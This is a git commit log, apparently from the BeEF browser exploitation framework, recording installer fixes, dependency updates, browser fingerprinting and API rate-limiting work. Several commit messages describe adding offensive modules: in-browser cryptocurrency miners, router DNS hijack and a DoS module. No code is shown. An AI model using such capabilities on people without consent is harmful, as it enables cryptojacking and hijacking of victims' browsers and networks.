6dc6dd997a Merge pull request #1556 from keeganjk/patch-1
Added ruby and ruby-rdoc to Arch installer
2018-05-11 17:07:02 +10:00
keeganjk
98530e7e06 Added ruby and ruby-rdoc to Arch installer
Added ruby and ruby-rdoc to Arch installer in case rdoc isn't installed
2018-05-05 13:37:18 -04:00
Amir Hossein Karimi
eb15ae1d03 Fix Webcam(Flash) incorrect base64 data image 2018-05-02 02:16:55 +04:30
Brendan Coles
903f3bf998 Hard code gem 'therubyracer', '0.12.3' for Linux systems
Parrot and Kali now support therubyracer version 0.12.3
2018-05-01 21:50:37 +10:00
Brendan Coles
50f6876ec8 Merge pull request #1546 from keeganjk/patch-1
Added Arch installer
2018-04-28 11:14:17 +10:00
keeganjk
44cb8e906a Added Arch installer
Added support for Arch Linux in ./install for an automated installation. Installs dependencies (works on my machine, not sure if there are some I missed...)

Assumes that `ruby` is already installed and in the $PATH.
2018-04-27 21:08:11 -04:00
Brendan Coles
26f176c308 Merge pull request #1539 from clod81/fix_jsonp
Fix JSONP persistence module
2018-04-10 11:10:29 +10:00
Claudio Contin
2c788da9e4 fix module 2018-04-10 11:53:24 +12:00
Brendan Coles
f3930e9246 Allow update-beef script to update dependencies 2018-04-02 00:25:43 +10:00
Brendan Coles
84208e817d Merge pull request #1527 from 0xmachos/master
Add install_mac logic
2018-03-25 22:42:12 +11:00
0xmachos
c240d2aae0 install_mac: update brew if check to if not 2018-03-25 12:02:15 +01:00
0xmachos
0d26f9f0bc Update command_exists to work on macOS 2018-03-25 11:31:24 +01:00
0xmachos
ef1d3242f8 Add install_mac logic
Checks if homebrew (brew) is installed then uses it to install the dependencies.

Exits if homebrew is not installed and if homebrew fails to install a package.
2018-03-25 11:31:08 +01:00
Brendan Coles
e0fea2adbf Add FreeBSD to install script 2018-03-18 00:19:25 +00:00
Brendan Coles
10475860ee Merge pull request #1525 from buzzdeee/master
Add support to install script to install BeEF on OpenBSD.
2018-03-18 10:14:18 +11:00
Sebastian Reitenbach
a73a60d0c1 Add support to install script to install BeEF on OpenBSD.
The tricky part is that on OpenBSD, there might be multiple
Ruby versions available in parallel. They are, and the binaries
using each of thse version, suffixed with the version number.
Therefore add a global variable RUBYSUFFIX default to empty,
and when detecting OpenBSD add this suffix to all Ruby commands
from the script.

Also add a simple install_openbsd function just installing
all the system packages.

run the script with "bash install"
and later on run BeEF with "ruby24 beef"
2018-03-17 23:22:22 +01:00
Brendan Coles
22dc2f9296 Use gem 'rack-protection', '~> 2.0.1' 2018-03-12 05:59:49 +00:00
Brendan Coles
eed53cd0eb Downgrade therubyracer for Kali and Parrot OS 2018-03-11 07:31:15 +00:00
Brendan Coles
30b0ec5f6e Water is wet 2018-03-10 06:24:00 +00:00
Brendan Coles
d5b284a8da Remove iconv-devel and subversion from installer 2018-03-10 05:29:33 +00:00
Brendan Coles
acc589fdb7 Merge pull request #1518 from 0xmachos/master
Refactor install for #1477
2018-03-10 01:06:16 +11:00
0xmachos
633ccdd7ff Merge branch 'master' into master 2018-03-09 14:04:43 +00:00
0xmachos
13d24bfbed Add line between functions 2018-03-09 13:43:49 +00:00
0xmachos
bd0ac9eafd main: add function calls 2018-03-09 13:43:13 +00:00
0xmachos
38c17bacfd Add colour to info, warn and fatal functions 2018-03-09 13:42:30 +00:00
0xmachos
7e00ac2189 Move preamble ascii art to main 2018-03-09 13:41:42 +00:00
0xmachos
86e18aabc1 command_exists: wrap variable in curly braces 2018-03-09 13:39:43 +00:00
0xmachos
0c26203ff7 Convert get user permission steps to function 2018-03-09 13:39:12 +00:00
0xmachos
0d60f3ea60 install_linux: wrap variables in curly braces 2018-03-09 13:38:16 +00:00
0xmachos
5b2abf4441 Convert OS detection steps to function 2018-03-09 13:30:34 +00:00
0xmachos
8ea4e7773a Convert Ruby version detection steps to function 2018-03-09 13:29:24 +00:00
0xmachos
724355e1c3 Remove unused code 2018-03-09 13:28:22 +00:00
0xmachos
2d9ba38048 Convert bundler detection steps to function 2018-03-09 13:23:48 +00:00
0xmachos
1e3b254fc9 Convert bundle install steps to function 2018-03-09 13:23:01 +00:00
Brendan Coles
cf6a72013f Fix command_exists method in install script 2018-03-09 08:32:22 +00:00
Brendan Coles
9c185aadce Remove bundle audit tests 2018-03-09 08:02:22 +00:00
Brendan Coles
6e9c2850c7 Fix dependencies 2018-03-09 08:01:26 +00:00
Brendan Coles
20e58d74f8 Upgrade jquery-1.12.4 to jquery-3.3.1 for admin UI 2018-03-09 07:50:34 +00:00
Brendan Coles
cb1360d061 rm Gemfile.lock 2018-03-09 06:57:11 +00:00
Brendan Coles
8b55f41286 Merge pull request #1515 from amadeus777za/master
Minor upgrades and fixes
2018-03-09 17:43:36 +11:00
Brendan Coles
e44ead9550 Merge branch 'master' into master 2018-03-09 17:42:01 +11:00
Francois van der Hoven
0045fe66c0 Update rack-protection and sinatra 2018-03-09 09:19:45 +10:00
Brendan Coles
b279382768 Merge pull request #1482 from wanton1950/1333_rate_merged
Fix 1333 rate merged
2018-03-08 00:29:16 +11:00
Brendan Coles
4e4a0585f4 Merge branch 'master' into 1333_rate_merged 2018-03-08 00:28:52 +11:00
Brendan Coles
f6089c70e8 Update minimum required Ruby version to 2.3.x 2018-03-07 12:51:26 +00:00
Brendan Coles
7718e35109 Update installation instructions 2018-03-07 12:51:11 +00:00
Brendan Coles
2d3010dc0b Update install script 2018-03-07 08:54:39 +00:00
Francois van der Hoven
441620462d Restore original test constants 2018-02-28 11:44:16 +10:00
Francois van der Hoven
a594296fae Restore original username pw 2018-02-28 11:28:11 +10:00
Francois van der Hoven
e9fa3cd75a Delete redundant js files. 2018-02-23 14:11:24 +10:00
Francois van der Hoven
c129fca93a Update selenium reference 2018-02-23 14:07:46 +10:00
Francois van der Hoven
074edec86a Add note on selenium requirement 2018-02-23 13:50:20 +10:00
Francois van der Hoven
9f7136f0ce Add latest versions of js libraries 2018-02-23 10:15:27 +10:00
Francois van der Hoven
bbf59cd8c1 Match first of multiple links 2018-02-22 16:56:58 +10:00
Francois van der Hoven
52cf5ab541 Correct namespace errors in metasploit 2018-02-21 10:04:45 +10:00
Francois van der Hoven
cdc5022a19 Unit and Integration tests pass 2018-02-20 09:04:00 +10:00
Brendan Coles
dfc08595fe mv README.mkd README.md 2018-02-17 09:17:08 +00:00
Brendan Coles
956e216206 Add rake to ext_dns group in Gemfile 2018-02-15 14:16:50 +00:00
Brendan Coles
d1f114d103 Add X-Frame-Options to admin UI 2018-02-10 06:24:24 +00:00
Brendan Coles
67e3605e16 Encourage reading 2018-02-10 05:48:40 +00:00
Brendan Coles
836c0c97e5 Merge pull request #1493 from K07H/patch-2
Add support for Firefox 58
2018-01-28 16:14:23 +11:00
K07H
9030a98820 Added test for Firefox last version
Added test for Firefox 58 ("isFF58").
2018-01-27 11:34:19 +01:00
Brendan Coles
521e5c3e8e Add REST example to remove all offline browsers 2018-01-20 09:10:15 +00:00
Brendan Coles
cef427f856 Merge pull request #1492 from mcjon3z/master
add https support to bind_powershell
2018-01-18 17:32:37 +11:00
Matthew C Jones
870afd617e add https support to bind_powershell 2018-01-17 18:37:16 -05:00
Bucky Wilson
b9eb6b7780 Pruned unnecessary lines from config
the now removed lines solved a temporary issue, since resolved
2018-01-10 09:54:17 +10:00
Bucky Wilson
5f278ad843 Merge branch '1333_rate_merged' of github.com-wanton1950:wanton1950/beef into 1333_rate_merged 2018-01-10 09:51:11 +10:00
Bucky Wilson
e0ec2aafda Commit review updates: added test to integration, removed debug
Added test TC_1333 to integration suite. adjusted requirements.

Removed debug requirement from main file.

    modified:   beef
    modified:   test/api/1333_auth_rate.rb
    modified:   test/integration/ts_integration.rb
2018-01-10 09:49:33 +10:00
Bucky Wilson
ae8c160b8d Moving pry and pry-byebug into tests group. 2018-01-10 09:49:33 +10:00
Bucky Wilson
7d4ef0f7e0 Renamed tmp config file - corrected tear down
FIXED Too many rake name to tear things down correctly.

	modified:   Rakefile
2018-01-10 09:49:33 +10:00
Bucky Wilson
e8f203bd94 Added assertions for testing, corrected beef tear-down
Turned the exercise script into a limited test.
Added is password function to rest client
Corrected incorrect tear down in the Rakefile

	modified:   Rakefile
	modified:   test/api/1333_auth_rate.rb
	modified:   test/api/lib/beef_rest_client.rb
2018-01-10 09:49:33 +10:00
Bucky Wilson
c13a011cd8 Pre-creation of actual test
1333_auth_rate - multiple cyles of api auth requests at different
speeds.
Fast auth attempts should block
Solwer attempts, when valid should succeed

	modified:   Rakefile
	renamed:    test/api/beef_rest.rb -> test/api/1333_auth_rate.rb
2018-01-10 09:49:33 +10:00
Bucky Wilson
8c8dd6c9c3 Added auth access time checking
Time set on failure,
Next request fails if inside configured time: beef.restrictions.api_attempt_delay

	modified:   core/main/rest/handlers/admin.rb
2018-01-10 09:49:33 +10:00
Bucky Wilson
f9f6dbfab9 /update timeout? definition.
Only one exit from function.

	modified:   core/main/rest/api.rb
2018-01-10 09:49:33 +10:00
Bucky Wilson
9dcf516b88 Test,/exercise script to evaluate rate limiting
Debug details in the script
2018-01-10 09:49:33 +10:00
Bucky Wilson
894c369ef8 Added speed checking of api auth calls.
Added beef_rest_client based on the beef rest api found in tools/lib
Added mass auth attempts

Adjusted test_constants to use environment variables -- to use with
rake.

Eventually should be a test
2018-01-10 09:49:33 +10:00
Bucky Wilson
30e75c7aad Added rest_test entry to the rake file. Updated beef start/stop
Using 'custom' config rake starting.
2018-01-10 09:49:33 +10:00
Bucky Wilson
792340f628 Undo 'fix' rate limiting the routing.
As per comments - <parphrased> rate limiting at this point, rate limites
everything, and can raise suspiscions.
2018-01-10 09:49:33 +10:00
Bucky Wilson
1879f3155c Gemfile - whitespace, added dev group: pry 2018-01-10 09:44:45 +10:00
Bucky Wilson
21cd5b6778 And then removing these lines - still no error
Error maynot be solved by the introduction of db_pool/db_timeout
Restarting - may resolve issues.
2018-01-10 09:40:00 +10:00
Bucky Wilson
24fd0e912e Fixed: 'DataObjects::ConnectionError - database is locked:' error
Getting error using sqlite database.
Added: db_pool, and db_timeout to correct.
2018-01-10 09:37:40 +10:00
Bucky Wilson
4026e0f06d FIXED #1333 Rate limit calls.
Clean-up duplicate functionality.
EOL whitespace removed

Changes to be committed:
	modified:   extensions/admin_ui/controllers/authentication/authentication.rb
2018-01-10 09:35:27 +10:00
Bucky Wilson
7ac24ef754 1333: Rate Limit API - 1 in user defined value
Allow api connection every api_attempt_delay milliseconds.
Currently 50 mSec

Uses the same process as ui/admin rate limiting.

Changes to be committed:
	modified:   config.yaml
	modified:   core/main/rest/api.rb
	modified:   core/main/router/router.rb
2018-01-10 09:35:27 +10:00
Bucky Wilson
f5ce6170f7 Gemfile - whitespace, added dev group: pry 2018-01-10 09:35:27 +10:00
Bucky Wilson
e988b602df And then removing these lines - still no error
Error maynot be solved by the introduction of db_pool/db_timeout
Restarting - may resolve issues.
2018-01-10 09:31:52 +10:00
Bucky Wilson
b9d58690b6 Fixed: 'DataObjects::ConnectionError - database is locked:' error
Getting error using sqlite database.
Added: db_pool, and db_timeout to correct.
2018-01-10 09:31:52 +10:00
Brendan Coles
e0c46baea1 Merge pull request #1487 from wanton1950/1343_redundant_null_browser_type
FIX 1343 browser_type redundant null values
2018-01-09 16:32:04 +11:00
Brendan Coles
c83d363932 Merge pull request #1483 from wanton1950/1398_detect_epiphany
FIX #1398 detect epiphany
2018-01-09 16:28:25 +11:00
Bucky Wilson
ec9591a207 FIX #1343 account for redunctant null values produced iOS checks
The Old line:
(!window.webkitPerformance &&    // return true
            window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
                             returns null ----^
instead of the expected false, and it stops

Removed the null check added here in 34967f61
to catch other errors.

    modified:   core/main/client/browser.js
2018-01-09 14:42:38 +10:00
Bucky Wilson
1cfaf2da90 Added newer chrome iOS version - 63
Making visible the current iOS Chrome app [2018-01-07]
2018-01-09 14:42:25 +10:00
Bucky Wilson
dd93fc2922 Added return values to strigifing type()
Return undefined instrad of assuming would.
See 'The replacer parameter' on
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify

    modified:   core/main/client/browser.js
2018-01-09 14:42:09 +10:00
Bucky Wilson
c09e6405e2 Make Webkit fingerprinting more explicit.
Copied common code from /isS\d\>/ functions into isWebKitBased

    modified:   core/main/client/browser.js
2018-01-09 09:16:30 +10:00
Bucky Wilson
f92aed46c2 Restore webkit checking. Additional comments.
Added `isWebKitBased` function.
Due to who knows what version is being used -- this primarily checks for Safari.
Eliminating code duplication and bugs.

Corrected getBrowserVersion comment.

    modified:   core/main/client/browser.js
2018-01-08 09:44:59 +10:00
Bucky Wilson
3d41fe1045 Commit review updates: added test to integration, removed debug
Added test TC_1333 to integration suite. adjusted requirements.

Removed debug requirement from main file.

    modified:   beef
    modified:   test/api/1333_auth_rate.rb
    modified:   test/integration/ts_integration.rb
2018-01-07 16:52:59 +10:00
Bucky Wilson
a2c097a47f Code review updates, speeling, and removed reliance on isS
modified:   core/main/client/browser.js
2018-01-07 15:22:21 +10:00
Bucky Wilson
190b425a30 Update epiphany browser icon, and let it be seen
New epiphany icon from : https://wiki.gnome.org/Apps/Web
Resized to 10% for space.

Added discovery details, to constants and models.

    modified:   core/main/models/browserdetails.rb
    modified:   extensions/admin_ui/constants/agents.rb
    modified:   extensions/admin_ui/media/images/icons/epiphany.png
2018-01-06 13:12:46 +10:00
Bucky Wilson
628ddb8dc2 Epiphany version returned.
Basing the Epiphany version of UserAgant name - for want of a better
way of determining this at this stage.

    modified:   core/main/client/browser.js
2018-01-06 12:37:52 +10:00
Bucky Wilson
86c3212e2e Whitespace changes - indentation consistency
Clearing the noise from the commit diff -
editor imposed whitespace style changes.

    modified:   core/main/client/browser.js
2018-01-06 12:36:03 +10:00
Bucky Wilson
4595f0d2ed Minor corrections to comments and return value for browser type
Make the hooked browser name and browser types consistent.

    modified:   core/main/client/browser.js
2018-01-06 12:31:54 +10:00
Bucky Wilson
5a35b1cde2 Recognising Epiphany as an indendant browser
Added 'EP' as a browser name, to be recognised on response.
2018-01-06 10:22:03 +10:00
Bucky Wilson
bc709db733 Breif checking for Epiphany browser
Only recognises the browser -- not yet looking for a version.
2018-01-04 19:00:07 +10:00
Bucky Wilson
83d274719d Merge branch '1333_rating_limit' into 1333_rate_merged 2018-01-04 15:42:55 +10:00
Wade Alcorn
fca5279f17 Updated Copyright dates 2018-01-04 09:12:47 +10:00
Bucky Wilson
f98dfd4515 Moving pry and pry-byebug into tests group. 2017-12-13 17:14:58 +10:00
Bucky Wilson
dbb1b7daf4 Renamed tmp config file - corrected tear down
FIXED Too many rake name to tear things down correctly.

	modified:   Rakefile
2017-12-12 14:54:17 +10:00
Bucky Wilson
f52b13a6ee Added assertions for testing, corrected beef tear-down
Turned the exercise script into a limited test.
Added is password function to rest client
Corrected incorrect tear down in the Rakefile

	modified:   Rakefile
	modified:   test/api/1333_auth_rate.rb
	modified:   test/api/lib/beef_rest_client.rb
2017-12-12 14:35:22 +10:00
Bucky Wilson
5559e34baa Pre-creation of actual test
1333_auth_rate - multiple cyles of api auth requests at different
speeds.
Fast auth attempts should block
Solwer attempts, when valid should succeed

	modified:   Rakefile
	renamed:    test/api/beef_rest.rb -> test/api/1333_auth_rate.rb
2017-12-12 12:23:31 +10:00
Bucky Wilson
3b470439fa Added auth access time checking
Time set on failure,
Next request fails if inside configured time: beef.restrictions.api_attempt_delay

	modified:   core/main/rest/handlers/admin.rb
2017-12-11 17:48:40 +10:00
Bucky Wilson
f42346fc1a /update timeout? definition.
Only one exit from function.

	modified:   core/main/rest/api.rb
2017-12-11 17:38:45 +10:00
Bucky Wilson
a38c0adaf7 Merge branch '1333_rating_limit' of github.com-wanton1950:wanton1950/beef into 1333_rating_limit 2017-12-11 12:11:08 +10:00
Bucky Wilson
8dcac3d50e Test,/exercise script to evaluate rate limiting
Debug details in the script
2017-12-11 12:01:29 +10:00
Bucky Wilson
cc3bfc071e Added speed checking of api auth calls.
Added beef_rest_client based on the beef rest api found in tools/lib
Added mass auth attempts

Adjusted test_constants to use environment variables -- to use with
rake.

Eventually should be a test
2017-12-11 12:01:29 +10:00
Bucky Wilson
8d226378b7 Added rest_test entry to the rake file. Updated beef start/stop
Using 'custom' config rake starting.
2017-12-11 12:00:42 +10:00
Bucky Wilson
580303a150 Undo 'fix' rate limiting the routing.
As per comments - <parphrased> rate limiting at this point, rate limites
everything, and can raise suspiscions.
2017-12-11 12:00:42 +10:00
Bucky Wilson
e26ebea0f3 Debugging tools added: pry-byebug 2017-12-11 12:00:42 +10:00
Bucky Wilson
73bbda7336 gem lock file updates -- not sure this should be committed 2017-12-11 12:00:42 +10:00
Bucky Wilson
01dd3eb714 FIXED #1333 Rate limit calls.
Clean-up duplicate functionality.
EOL whitespace removed

Changes to be committed:
	modified:   extensions/admin_ui/controllers/authentication/authentication.rb
2017-12-11 11:50:18 +10:00
Bucky Wilson
a538a9ebd5 1333: Rate Limit API - 1 in user defined value
Allow api connection every api_attempt_delay milliseconds.
Currently 50 mSec

Uses the same process as ui/admin rate limiting.

Changes to be committed:
	modified:   config.yaml
	modified:   core/main/rest/api.rb
	modified:   core/main/router/router.rb
2017-12-11 11:50:18 +10:00
Bucky Wilson
2da975aee0 Gemfile - whitespace, added dev group: pry 2017-12-11 11:50:18 +10:00
Bucky Wilson
5a80f4a3a5 And then removing these lines - still no error
Error maynot be solved by the introduction of db_pool/db_timeout
Restarting - may resolve issues.
2017-12-11 11:46:02 +10:00
Bucky Wilson
717c5f52eb Fixed: 'DataObjects::ConnectionError - database is locked:' error
Getting error using sqlite database.
Added: db_pool, and db_timeout to correct.
2017-12-11 11:46:02 +10:00
Brendan Coles
24298b4d9e Clean beef executable 2017-12-09 06:24:00 +00:00
Brendan Coles
a8763b48c5 Downgrade selenium-webdriver gem to '~> 2.53.4' for tests 2017-12-09 00:04:52 +00:00
Brendan Coles
3ec6241c46 Fix login tests 2017-12-09 00:02:36 +00:00
Brendan Coles
825b433084 BeEF require Ruby 2.2 or newer 2017-12-08 23:05:43 +00:00
Brendan Coles
903d364450 Remove experimental extensions from config.yaml 2017-12-08 18:14:32 +00:00
Brendan Coles
946f593b5e Fix $LOAD_PATH 2017-12-08 07:03:27 +00:00
Brendan Coles
447f995d10 Merge pull request #1476 from stevetauber/master
Fixing syntax error in identify_lan_subnets
2017-12-06 07:25:09 +11:00
Steve Tauber
2cc843f640 Fixing syntax error in identify_lan_subnets 2017-12-03 20:39:44 +01:00
Bucky Wilson
dab2b26102 Merge branch '1333_rating_limit' of github.com-wanton1950:wanton1950/beef into 1333_rating_limit 2017-11-28 10:29:01 +10:00
Bucky Wilson
a94c6f36df FIXED #1333 Rate limit calls.
Clean-up duplicate functionality.
EOL whitespace removed

Changes to be committed:
	modified:   extensions/admin_ui/controllers/authentication/authentication.rb
2017-11-28 10:19:44 +10:00
Bucky Wilson
0eb6010898 1333: Rate Limit API - 1 in user defined value
Allow api connection every api_attempt_delay milliseconds.
Currently 50 mSec

Uses the same process as ui/admin rate limiting.

Changes to be committed:
	modified:   config.yaml
	modified:   core/main/rest/api.rb
	modified:   core/main/router/router.rb
2017-11-28 10:19:44 +10:00
Bucky Wilson
e86e05d20f Gemfile - whitespace, added dev group: pry 2017-11-28 10:19:44 +10:00
Bucky Wilson
17eb6cbd9c And then removing these lines - still no error
Error maynot be solved by the introduction of db_pool/db_timeout
Restarting - may resolve issues.
2017-11-28 10:19:44 +10:00
Bucky Wilson
557a17d2e3 Fixed: 'DataObjects::ConnectionError - database is locked:' error
Getting error using sqlite database.
Added: db_pool, and db_timeout to correct.
2017-11-28 10:19:44 +10:00
Brendan Coles
fc480cd117 Add check for web sockets and web workers 2017-11-26 10:25:18 +00:00
Bucky Wilson
183efca59d Merge branch '1333_rating_limit' of github.com-wanton1950:wanton1950/beef into 1333_rating_limit 2017-11-24 17:59:38 +10:00
Bucky Wilson
f92446abd0 FIXED #1333 Rate limit calls.
Clean-up duplicate functionality.
EOL whitespace removed

Changes to be committed:
	modified:   extensions/admin_ui/controllers/authentication/authentication.rb
2017-11-24 17:56:28 +10:00
Bucky Wilson
422b5d6fc5 1333: Rate Limit API - 1 in user defined value
Allow api connection every api_attempt_delay milliseconds.
Currently 50 mSec

Uses the same process as ui/admin rate limiting.

Changes to be committed:
	modified:   config.yaml
	modified:   core/main/rest/api.rb
	modified:   core/main/router/router.rb
2017-11-24 17:56:28 +10:00
Bucky Wilson
0a1da26c32 Gemfile - whitespace, added dev group: pry 2017-11-24 17:56:28 +10:00
Bucky Wilson
3fdf323f7c And then removing these lines - still no error
Error maynot be solved by the introduction of db_pool/db_timeout
Restarting - may resolve issues.
2017-11-24 17:56:28 +10:00
Bucky Wilson
bfba3d5f28 Fixed: 'DataObjects::ConnectionError - database is locked:' error
Getting error using sqlite database.
Added: db_pool, and db_timeout to correct.
2017-11-24 17:56:28 +10:00
Bucky Wilson
3e1266fe42 FIXED #1333 Rate limit calls.
Clean-up duplicate functionality.
EOL whitespace removed

Changes to be committed:
	modified:   extensions/admin_ui/controllers/authentication/authentication.rb
2017-11-24 17:05:22 +10:00
Bucky Wilson
2f749b78c9 1333: Rate Limit API - 1 in user defined value
Allow api connection every api_attempt_delay milliseconds.
Currently 50 mSec

Uses the same process as ui/admin rate limiting.

Changes to be committed:
	modified:   config.yaml
	modified:   core/main/rest/api.rb
	modified:   core/main/router/router.rb
2017-11-24 17:00:58 +10:00
Bucky Wilson
1f7565e417 Gemfile - whitespace, added dev group: pry 2017-11-24 09:26:29 +10:00
Brendan Coles
e7c5479b1c Merge pull request #1470 from qutorial/master
Crypto-Loot miner intergration
2017-11-22 17:42:36 +11:00
Bucky Wilson
1fe6ee1dcb And then removing these lines - still no error
Error maynot be solved by the introduction of db_pool/db_timeout
Restarting - may resolve issues.
2017-11-21 13:52:18 +10:00
Bucky Wilson
1ba0ddfefb Fixed: 'DataObjects::ConnectionError - database is locked:' error
Getting error using sqlite database.
Added: db_pool, and db_timeout to correct.
2017-11-21 13:47:51 +10:00
Brendan Coles
b370166aa0 Add Track Physical Movement module 2017-11-19 01:11:58 +00:00
Brendan Coles
7204c982ce Add support for Firefox 57 2017-11-18 04:26:50 +00:00
Zaur
cfa652d532 Crypto-Loot miner intergration
This integration provides in the misc modules a
crypto-loot miner. It is similar  to coinhive miner
and is inspired by it.

It is designed to be used for test purposes only.
Please, do not use it on people who haven't
given their consent. I.e. no cryptojacking.

In no way the author of this integration are
responsible for the use of it. We also
have no relation to crypto-loot.
2017-11-16 20:07:38 +01:00
Brendan Coles
22e7ded355 Merge pull request #1458 from Und3rf10w/pushover
Add error messages to pushover notification channel
2017-10-17 11:32:00 +11:00
Jonathan Echavarria
3e34834c78 Fixed rescuing Exception 2017-10-16 11:19:32 -04:00
Jonathan Echavarria
509d1ac086 Fixing typo 2017-10-16 11:10:29 -04:00
Jonathan Echavarria
7099238f15 added error notifications to pushover notification channel 2017-10-16 11:04:13 -04:00
Brendan Coles
45fd6abade Merge pull request #1457 from bcoles/slack_notifications
Add Slack notifications to Notifications extension
2017-10-15 22:21:03 +11:00
Brendan Coles
c62050249d Add Slack notifications to Notifications extension 2017-10-15 11:18:40 +00:00
Brendan Coles
7b682bde4b Merge pull request #1452 from Und3rf10w/pushover
Add Pushover notification channel
2017-10-15 21:44:57 +11:00
Brendan Coles
9d8a311e72 Add geoip dependency to BrowserDetails 2017-10-15 09:27:00 +00:00
Brendan Coles
2749d6620a Add rubydns dependency to extension 2017-10-15 08:56:19 +00:00
Brendan Coles
e1760d74c8 Remove gem deps from core/loader 2017-10-15 08:47:13 +00:00
Brendan Coles
6c21da3cf5 Add rushover dependency to Gemfile 2017-10-15 06:02:07 +00:00
Brendan Coles
16973ccd48 Add Coinhive Miner ARE rule 2017-10-14 17:01:25 +00:00
Brendan Coles
8905ea2ce4 Update dependencies 2017-10-14 16:42:20 +00:00
Brendan Coles
f4cca7a479 Fix IE plugin detection 2017-10-14 15:59:11 +00:00
Brendan Coles
68099ddf17 Add checks for mobile devices and browser capabilities 2017-10-14 12:32:57 +00:00
Brendan Coles
b700039979 Update hardware detection 2017-10-14 09:48:03 +00:00
Brendan Coles
dbb5055391 Update mdetect library 2017-10-14 09:22:34 +00:00
Brendan Coles
118fcc7d6f Add mode option 2017-10-14 08:10:06 +00:00
Brendan Coles
9bbf92de68 Fix #1453 2017-10-13 16:22:34 +00:00
Brendan Coles
45847d139f Merge pull request #1454 from bcoles/coinhive_miner
Add Coinhive Miner module
2017-10-14 03:06:49 +11:00
Brendan Coles
c1a7cd11bd Add Coinhive Miner module 2017-10-13 16:02:47 +00:00
Jonathan Echavarria
63e9e72194 add gem install warning to notifications config 2017-10-05 09:47:43 -04:00
Jonathan Echavarria
1b5e56e4a6 removed debug line from pushover notification channel 2017-10-05 09:45:59 -04:00
Jonathan Echavarria
27d1166869 set pushover to be disabled by default 2017-10-05 09:44:35 -04:00
Jonathan Echavarria
409d9962bb modified the notifications extenion to add pushover support 2017-10-05 09:43:11 -04:00
Jonathan Echavarria
d47303f0e7 changed config.yaml to add pushover support 2017-10-05 09:40:36 -04:00
Jonathan Echavarria
c01febbe9b added pushover channel 2017-10-05 09:39:39 -04:00
Brendan Coles
16647337e7 Add support for Firefox 56 2017-10-01 05:43:45 +00:00
Brendan Coles
75247c60a1 Merge pull request #1448 from wanton1950/1444_high_risk
#1444 high risk
2017-09-25 16:19:42 +10:00
Bucky Wilson
60108af685 Passphrase issues made clearer. 2017-09-25 15:24:14 +10:00
Bucky Wilson
b7fc40247c Capture limited password stupidity 2017-09-25 12:24:23 +10:00
Bucky Wilson
675c6a9edb Create temporary password in-lieu of using default 2017-09-25 12:00:32 +10:00
Brendan Coles
de144a0e45 Move credentials to top of config.yaml file 2017-09-24 15:15:55 +10:00
Brendan Coles
82172351e1 Add link to wiki configuration page 2017-09-24 14:49:35 +10:00
Brendan Coles
69aa2a31c1 Merge pull request #1437 from beefproject/revert-1436-patch-1
Revert "html_escape prevent code execution ."
2017-08-30 16:25:23 +10:00
Brendan Coles
0311b317b7 Revert "html_escape prevent code execution ." 2017-08-30 16:25:04 +10:00
Brendan Coles
aa3c0932ce Use in msf-exploits.cache path 2017-08-29 07:24:03 +00:00
Brendan Coles
9ab7461ac5 Merge pull request #1436 from touhidshaikh/patch-1
html_escape prevent code execution .
2017-08-29 17:00:53 +10:00
Brendan Coles
e52a1af148 Merge pull request #1434 from gregmolnar/edge_detection
detect microsoft edge
2017-08-29 16:56:42 +10:00
Touhid M Shaikh
098b9a24bf html_escape prevent code execution .
I noticed when i put HTML content in "beef-xss/config.yaml" file in Version Field.
And Restart Beef(beef_start.png) and Go to Admin Panel in my browser, then my html interpreter and execute.
This issue occurs bcz of "/beef-xss/extensions/admin_ui/controllers/panel/index.html" in this file insecure code implementetion.

NOW html_escape prevent code execution.
2017-08-25 15:41:31 +05:30
Greg Molnar
2d7cfd73f4 detect microsoft edge 2017-08-23 13:37:38 +02:00
Brendan Coles
f245d12da3 Downgrade therubyracer to 1.12.2 2017-08-15 10:35:35 +00:00
Brendan Coles
c86bdc2cfe Merge pull request #1429 from fabianfrz/fabianfrz-fix-gemfile
fix gemfile; closes #1428
2017-08-15 19:59:57 +10:00
Fabian Franz
12800215f9 fix gemfile 2017-08-15 11:03:21 +02:00
Brendan Coles
b58875c952 Add support for Firefox 54 and 55 2017-08-12 02:19:26 +00:00
Brendan Coles
1f56b835f6 Use beef.net.is_valid_ip 2017-08-12 02:03:11 +00:00
Brendan Coles
81b5182689 Add router DNS hijack modules 2017-08-12 01:47:29 +00:00
Brendan Coles
173a65be13 Add IP and port validation to beef.net 2017-08-11 06:12:15 +00:00
Brendan Coles
f545b3631b Replace gsub quotes with base64 encoding 2017-08-11 05:44:32 +00:00
Brendan Coles
50a97d3e36 Fix XSSRays when evasion is enabled - Fix #1426 2017-08-06 23:28:13 +00:00
Brendan Coles
14e788e574 Fix requester when evasion is enabled - Fix #1386 2017-08-06 22:16:40 +00:00
Brendan Coles
d5b020f9be Add evasion to build_missing_beefjs_components method 2017-08-06 22:08:04 +00:00
Brendan Coles
4f153c2de3 Support empty output messages to DNS logger 2017-08-06 22:02:55 +00:00
Brendan Coles
4ff956c9be Add tests for variable decleration with 'let' 2017-08-06 18:39:23 +00:00
Brendan Coles
5a2a74c6a7 Update dependencies 2017-08-05 16:18:33 +00:00
Brendan Coles
93ef7c0643 Update msfrpc-client dependency to v1.1.1 2017-08-04 06:05:43 +00:00
Brendan Coles
8cbe15deaa Add comment warning not to use the console extension 2017-06-30 06:31:11 +00:00
Brendan Coles
e8f9ee1234 Rollback Rack dependency to 1.6.x 2017-06-30 06:21:33 +00:00
Brendan Coles
36cc4a4dd3 Add event log RSS feed 2017-06-29 11:00:24 +00:00
Brendan Coles
f320669f56 Update dependencies 2017-06-29 05:11:51 +00:00
Brendan Coles
5f4cc87d13 Show errors from msfrpc-client 2017-06-18 03:13:23 +00:00
Brendan Coles
98c187fb38 Add NtfsCommonCreate DoS module 2017-06-01 02:24:12 +00:00
antisnatchor
9bf7fe3002 removed copyright 2017-05-31 09:01:10 +02:00
antisnatchor
c3685fcdf7 Fixed a few JS errors preventing the module from running. Tested on Edge 40 (Win10) and Chrome 58 (OSX) 2017-05-31 08:56:37 +02:00
antisnatchor
9589a70610 Merge pull request #1401 from SkyLined/master
Add ORTC, fix WebRTC bug
2017-05-31 08:41:11 +02:00
SkyLined
992e9235c7 Add ORTC, fix WebRTC bug
* Add Object-RTC implementation that should work in Edge 38.
* Fix issue where WebRTC implementation could report partial results if there are multiple local IP addresses (e.g. multiple network cars, IPv4 & IPv6, ...). In such cases, the results would be reported for each IP address, where they should only be reported once, after all IP addresses have been enumerated.
* All indentation is now 4 spaces.
2017-05-30 20:59:40 +02:00
